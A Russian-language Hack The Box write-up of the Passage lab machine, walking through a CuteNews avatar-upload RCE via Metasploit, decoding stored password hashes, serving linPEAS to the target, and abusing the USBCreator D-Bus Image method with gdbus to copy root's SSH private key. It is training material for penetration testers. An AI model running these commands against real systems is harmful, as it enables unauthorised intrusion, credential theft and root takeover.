Хакер - HTB Passage. Эксплуатируем RCE в CuteNews и поднимаем привилегии через gdbus
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Закрепление
- Продвижение
- Credential Access
- Ключевые файлы
- Локальная эскалация привилегий
В этой статье мы пройдем машину Passage с популярного сервиса Hack The Box и проэксплуатируем уязвимость в CMS CuteNews. Заодно научимся добавлять эксплоиты в базу Metasploit Framework, потренируемся в поиске важных для развития атаки файлов и узнаем, что такое D-Bus и как повысить привилегии с помощью USBCreator.
Подключаться к лабораторной машине будем через VPN. Рекомендую не подключаться с рабочего компьютера или с хоста, где есть важные для тебя данные, так как ты попадешь в одну частную сеть с людьми, которые что‑то да умеют в области ИБ.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный в результате использования знаний и методов, описанных в статье.
РАЗВЕДКА
Сканирование портов
Машина имеет IP-адрес 10.10.10.206, который я добавляю в /etc/hosts, чтобы можно было обращаться к хосту по имени.
10.10.10.206 passage.htb
Любая атака начинается со сканирования открытых на хосте портов. Это необходимо для того, чтобы атакующий узнал, какие службы принимают соединение. Исходя из полученной информации, можно выбирать путь для получения точки входа и опоры. Я это делаю с помощью следующего скрипта, который использует утилиту Nmap и принимает один аргумент — адрес сканируемого хоста.
Сначала скрипт использует Nmap, чтобы сделать обычное быстрое санирование. Затем он парсит все порты из вывода и повторяет сканирование только обнаруженных портов с использованием имеющихся скриптов (опция -A).
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Мы имеем две службы — SSH (порт 22) и веб‑сервер Apache (порт 80). На SSH нам ловить нечего, так как единственное, что там можно делать, — это брутфорсить учетные данные. Брутфорс — последнее дело. Поэтому нам остается искать точку входа на сайте. Перейдя на сайт, легко определяем систему управления контентом — CMS CuteNews.

Точка входа
Первым делом стоит проверить, есть ли для обнаруженной CMS уже готовые эксплоиты. Лучший способ это установить — поискать на сайтах вроде HackerOne, exploit-db, а также GitHub. Но если ты используешь специальный дистрибутив вроде Kali Linux, то база эксплоитов Exploit-DB уже у тебя на диске. Для удобной работы с данной базой можно использовать утилиту searchsploit, также предустановленную в дистрибутиве. Именно с помощью ее мы и находим ряд эксплоитов.
searchsploit cutenews

Так как мы не знаем версию CMS на атакуемом хосте, то следует выбрать эксплоит для более поздней (2.1.2). Лучше всего для нас, если отработает тот, который даст выполнение кода — RCE. Пометка Metasploit означает, что этот эксплоит уже выпущен для Metasploit Framework.
Суть эксплуатируемой уязвимости в том, что при изменении аватарки профиля мы можем загрузить не только изображение, но и файл с расширением .php. К файлу затем можно обратиться, и это приведет к выполнению на сервере кода, содержащегося в метаданных файла‑изображения.
ЗАКРЕПЛЕНИЕ
Так как в поставку Metasploit Framework этот эксплоит не входит, его нужно добавить в базу. Для начала получим полный путь к файлу эксплоита (опция -p позволит сохранить полный путь к файлу сразу в буфер обмена), а затем копируем в директорию с эксплоитами.

Авторы допустили ошибку: не хватает запятой. Откроем файл эксплоита и добавим ее, как указано на скриншоте ниже.

В register_options содержатся параметры, с которыми запускается эксплоит. К примеру, в данном случае нам нужно знать путь к базовой директории CMS, а также учетные данные пользователя.

В качестве значения параметра TARGETURI по умолчанию используется /CuteNews. Перейдя к этой странице на сайте, получим форму авторизации. Нам нужно зарегистрировать нового пользователя, именно его учетные данные мы и будем использовать при запуске эксплоита.

Теперь, когда мы исправили ошибки в эксплоите и получили все необходимые данные для его работы, командой reload_all обновим базу Metasploit Framework, чтобы загрузить только что добавленный эксплоит.

После успешного обновления базы загружаем наш эксплоит, задаем значения параметров и выполняем.
use exploit/46698
set username [имя зарегистрированного пользователя]
set password [пароль зарегистрированного пользователя]
set LHOST [наш IP-адрес]
set LPORT [локальный порт для прослушивания]
set RHOSTS [адрес цели]
run

В отчете наблюдаем успешные подключение, авторизацию, загрузку файла на сервер и запуск нагрузки, что в итоге приводит нас к шеллу Meterpreter. Командой getuid проверяем, в контексте какого пользователя мы работаем. В данном случае у нас контекст учетной записи службы веб‑сервера: пользователь www-data.
ПРОДВИЖЕНИЕ
Credential Access
Так как на хосте развернут веб‑сервер, а на нем работает целая CMS, то первое наше действие — попробовать получить какие‑нибудь пользовательские учетные данные. Высока вероятность, что эти учетки подойдут и для локальных пользователей тоже. В случае с CuteNews нас интересует директория /cdata/users.

Здесь должны находиться файлы users.txt и lines. Как раз второй представляет для нас интерес.


Текст закодирован с помощью Base64. Немного преобразуем файл: исключим из него все строки, которые содержат подстроку php (это позволит оставить только закодированные строки), и легко декодируем оставшиеся прямо в командной строке.
cat lines | grep -v php | base64 -d

В преобразованном тексте есть упоминание электронных почт и кое‑где даже хешей паролей (обозначены s:64). Для их получения в удобном виде снова используем конвейер.
- Сначала получаем только строки, содержащие
s:64. - Затем разбиваем результат на новые строки по разделителю
;. - И вновь получаем только строки, которые включают либо подстроку
s:64(хеш), либо подстроку@(адрес электронной почты).
cat lines.txt | grep 's:64' | tr ';' '\n' | grep 's:64\|@'

Если ты не знаешь, какой алгоритм хеширования может вернуть такой хеш, просто используй утилиту hashid. Эта программа покажет разные алгоритмы хеширования, которые могут его вернуть. Самый популярный из предложенных в нашем случае — SHA-256.

Перед тем как запускать свои видеокарты и скармливать им этот хеш для перебора, стоит поискать его в уже готовых онлайновых базах. Сервисов, которые предоставляют такую услугу, очень много. И первая же ссылка из Гугла помогает нам с этим разобраться.

Мы получаем один пароль, но и этого оказывается достаточно, так как он подходит для локального пользователя на удаленном хосте. Чтобы поменять пароль, мало получить простой шелл, нам нужна оболочка TTY. В этом поможет установленный Python.
python3 -c 'import pty;pty.spawn("/bin/bash")'
su paul

Так мы захватываем первого пользователя, а с ним и первый флаг — свидетельство того, что мы получили контроль над машиной от имени легитимного пользователя.
Ключевые файлы
У новичков иногда возникает вопрос, что же делать после того, как получил шелл в системе, как найти путь, который приведет к повышению привилегий. Тебе в помощь скрипты PEASS — они есть и для Windows, и для Linux. Загрузим на локальный хост скрипт для Linux.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
А теперь с помощью того же Wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать право на выполнение и выполнить скрипт.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
В выводе получим очень много информации, поэтому стоит отметить важную:
- в списке процессов значится
dbus, запущенный от имени пользователяnadav(к этому вернемся позже); - пользователь
nadavимеет оболочку/bin/bash, что позволит выполнить вход от его имени, если у нас получится скомпрометировать его; - среди файлов, относящихся к SSH, присутствует файл
known_hosts.



Дело в том, что каждый раз, когда мы подключаемся по SSH к серверу, клиент SSH проверяет, совпадает ли публичный ключ для этого сервера с тем, который был прошлый раз. В OpenSSH список известных ключей серверов хранится в файле known_hosts. То есть при наличии записи в known_hosts мы можем подключиться к серверу без всяких учетных данных. Давай попробуем подключиться по SSH к локальному хосту как второй пользователь.


Таким образом мы контролируем и второго юзера.
ЛОКАЛЬНАЯ ЭСКАЛАЦИЯ ПРИВИЛЕГИЙ
Команда id подсказала нам, что пользователь находится в привилегированных группах. Также вспоминаем, что D-Bus — это система межпроцессного взаимодействия, которая позволяет приложениям в операционной системе общаться друг с другом. Как правило, такое общение строится на основе двух частей: демона и низкоуровневого API. D-Bus предоставляет системе несколько шин.
- Системная шина. Создается при старте демона D-Bus. С ее помощью происходит общение демонов, а также взаимодействие пользовательских приложений с этими демонами.
- Сессионная шина. Создается для пользователя, который авторизовался в системе. Для каждой такой шины запускается отдельная копия демона, через нее будут общаться приложения, с которыми работает пользователь.
При запуске программа регистрирует один или несколько сервисов, которыми она будет владеть до тех пор, пока самостоятельно не освободит. До этого момента никакая иная программа, претендующая на тот же сервис, занять его не сможет. Сервисы D-Bus делают доступной еще одну функцию — запуск необходимых программ, если для них поступят сообщения.
В домашней директории пользователя присутствует файл .viminfo, в котором упоминается USBCreator. Его же мы находим и в списке процессов. Это и есть путь к высоким привилегиям.


Путь повышения привилегий описан в статье Надава Маркуса. У нас есть все необходимые составляющие для повторения его опыта: служба USBCreator и членство в группе sudo. Уязвимость кроется в методе Image интерфейса /com/ubuntu/USBCreator.

Сначала в этом методе проверяется, разрешен ли запрос данному пользователю. Так как целевой пользователь входит в группу sudo, эта проверка будет пройдена успешно. Для копирования данных в Image используется реализация утилиты dd на Python.

Этот код будет выполнен в привилегированном режиме, что позволяет нам скопировать абсолютно любой файл. Лучше всего получить приватный ключ SSH пользователя root. Для работы с D-Bus будем использовать утилиту gdbus со следующими аргументами:
call— команда для вызова метода удаленного объекта;--system— подключение к системной шине;--dest []— имя объекта, для которого вызывается метод;--object-path []— путь к объекту, для которого вызывается метод;--method []— вызываемый метод;- перечисляются аргументы вызываемого метода (в данном случае это
source,targetиallow_system_internal).
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/ssh.txt true

Теперь необходимо сохранить ключ в файл на локальном хосте, назначить ему права и выполнить подключение к удаленному хосту.
chmod 0600 root.key
ssh -i root.key root@passage.htb

Итак, мы захватили машину и имеем над ней полный контроль.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei